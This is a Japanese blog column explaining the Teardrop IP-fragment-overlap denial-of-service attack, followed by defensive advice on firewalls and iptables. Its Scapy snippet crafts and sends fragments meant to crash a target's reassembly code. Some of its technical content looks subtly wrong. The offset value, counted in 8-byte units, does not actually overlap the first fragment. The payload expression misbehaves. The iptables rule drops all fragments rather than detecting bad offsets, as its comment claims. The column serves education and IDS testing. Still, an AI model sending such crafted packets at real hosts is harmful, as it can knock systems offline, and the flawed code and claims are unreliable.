ネットワークの深淵を覗く：Teardrop攻撃の恐怖と、その「再構築」の脆さ
ネットワークエンジニアとして現場に立っていると、ふと「なぜこのパケットはここを通るのか」「なぜこのOSはここで止まるのか」という、教科書の行間にある泥臭い事実に直面することがあります。
今日は、現代のWeb APIやクラウドインフラを設計するエンジニアなら一度は耳にしたことがあるはずの「Teardrop攻撃」について掘り下げてみましょう。これは単なる古い古典的攻撃ではありません。OSのスタック処理という「根本的なロジック」を突く、極めて残酷で美しい（そして恐ろしい）攻撃手法です。
—
1. パケット断片化の裏側：IPフラグメントの仕組み
まずは基本の復習です。ネットワークを流れるデータ（MTUサイズを超えるもの）は、ルーターを通過する際に小さく分割（フラグメント化）されます。ここで重要なのがIPヘッダーにある以下の3つのフィールドです。
Identification：どのパケットの断片かを識別するID。Fragment Offset：この断片が元のデータ内でどの位置にあるか（8バイト単位で指定）。Flags (More Fragments)：まだ続きがあるかを示すフラグ。
受信側のOSは、これらを見て「パズル」を組み立てるように元のデータを復元します。ここまでは、ネットワーク層の設計としては非常にエレガントです。しかし、この「パズル」のロジックに悪意を差し込むのがTeardrop攻撃の狙いです。
—
2. Teardrop攻撃：パズルを崩壊させる「重なり」
Teardrop攻撃の本質は、「不自然なオフセット値」にあります。
例えば、1つ目のパケットが「オフセット0〜100」までを運び、2つ目のパケットが「オフセット50〜150」を運んでくるとどうなるでしょう。本来、オフセットは連続しているはずなのに、データが「重なって」しまいます。
この「重なり」をうまく処理できない古いOSや実装の不備を突くと、再構築を行うバッファ領域でメモリ破壊が起き、カーネルパニック（BSODやKernel Panic）を引き起こします。これが、かつて多くのシステムを沈黙させたTeardrop攻撃の正体です。
—
3. Pythonで見る「不正なパケット」の設計図
実務で再現試験やIDSの検知確認をする際は、Scapyライブラリを使ってパケットを捏造します。以下は、再構築時に混乱を招くフラグメントを作成する概念コードです。
from scapy.all import IP, fragment, send
# ターゲットIP
dst_ip = "192.168.1.100"
# 1つ目のフラグメント：オフセット0から開始
p1 = IP(dst=dst_ip, id=123, frag=0, flags="MF") / "A" * 100
# 2つ目のフラグメント：重なりを生むオフセット（本来は100から始まるべきだが、あえて50を指定）
p2 = IP(dst=dst_ip, id=123, frag=50, flags=0) / "B" * 100
# これを順番に送りつけると、受信側OSの再構築ロジックが異常値を検出、またはクラッシュする可能性がある
send(p1)
send(p2)現場の教訓： 実際にこれを運用ネットワークで実行してはいけません。IDS/IPSが「IP Fragment Overlap」として即座に警告を出すはずです。
—
4. 現場で打てる「防御」の最適解
現代のOSやファイアウォールは、こうした「パズル崩し」に対して非常に堅牢になっています。しかし、防御の基本は「怪しいものは通さない、あるいは正規化する」ことです。
A. iptablesによる防御
Linuxカーネルレベルでフラグメントの再構築や廃棄を管理します。
# 疑わしいフラグメントを破棄する設定例
# フラグメント化されたパケットを追跡し、不正なオフセットを検出して遮断
iptables -A INPUT -f -j DROPB. ステートフル・ファイアウォールの活用
現代のエンタープライズ製品（FortigateやPalo Altoなど）は、デフォルトで「IP再構築の正規化」を行っています。フラグメントが到着した時点で一度メモリ上にすべて集め、正常な順序で再構築してからバックエンドへ送るため、不整合なパケットは破棄されます。
Web APIの設計においても、「MTUサイズを意識したペイロード設計」は重要です。巨大なJSONを一度に送るのではなく、適切に分割してリクエストする設計は、パフォーマンス向上だけでなく、こうしたネットワーク階層の脆弱性の影響を最小化することにも繋がります。
—
最後に：エンジニアとして持つべき視点
Teardrop攻撃のような古典的手法を知ることは、単なる「知識の蓄積」ではありません。「信頼されているプロトコル（IP）のヘッダー情報すら、嘘をつく可能性がある」というゼロトラストの精神そのものを理解することです。
Web APIを開発する際も、「リクエストヘッダーが正しいから中身も安全だ」と信じ込まず、常に「再構築されたデータが本当に意図したものか」を検証する姿勢を忘れないでください。
ネットワークのパケットは、時に嘘をつきます。その嘘を見抜く眼力こそが、凄腕のエンジニアへの第一歩です。また次回のコラムでお会いしましょう。
コメント